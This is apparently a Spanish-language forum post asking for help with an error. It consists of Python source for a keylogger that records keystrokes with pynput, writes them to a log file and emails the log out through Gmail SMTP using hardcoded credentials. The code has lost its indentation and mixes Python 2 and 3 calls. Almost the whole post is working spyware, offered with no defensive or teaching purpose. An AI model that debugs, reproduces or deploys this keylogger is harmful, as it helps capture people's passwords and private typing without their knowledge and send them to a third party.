Python - ayuda me sale un error

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import pynput.keyboard
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText


log_file = open('log.txt','w+')

def enviar_datos():
msg = MIMEMultipart()
password = "contraseña123"
msg['From'] = "[email protected]"
msg['To'] = "[email protected]"
msg['Subject'] = "Prueba"
msg.attach(MIMEText(file('log.txt').read()))

try:
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(msg['From'],password)
server.sendmail(msg['From'],msg['To'],msg.as_string())
server.quit()
except:
pass


def imprimir():
teclas = ''.join(lista_tecla)
log_file.write(teclas)
log_file.write('\n')
log_file.close()
time.sleep(3)
enviar_datos()


lista_tecla = []

def convertir(key):
if isinstance(key,pynput.keyboard.KeyCode):
return key.char
else:
return str(key)

def presiona(key):
key1 = convertir(key)

if key1 == "Key.esc":
print("Saliendo...")
imprimir()
return False
elif key1 == "Key.space":
lista_tecla.append(" ")
elif key1 == "Key.enter":
lista_tecla.append('\n')
elif key1 == "Key.backspace":
pass
elif key1 == "Key.tab":
pass
elif key1 == "Key.shift":
pass

else:
lista_tecla.append(key1)



with pynput.keyboard.Listener(on_press=presiona) as listen:
listen.join()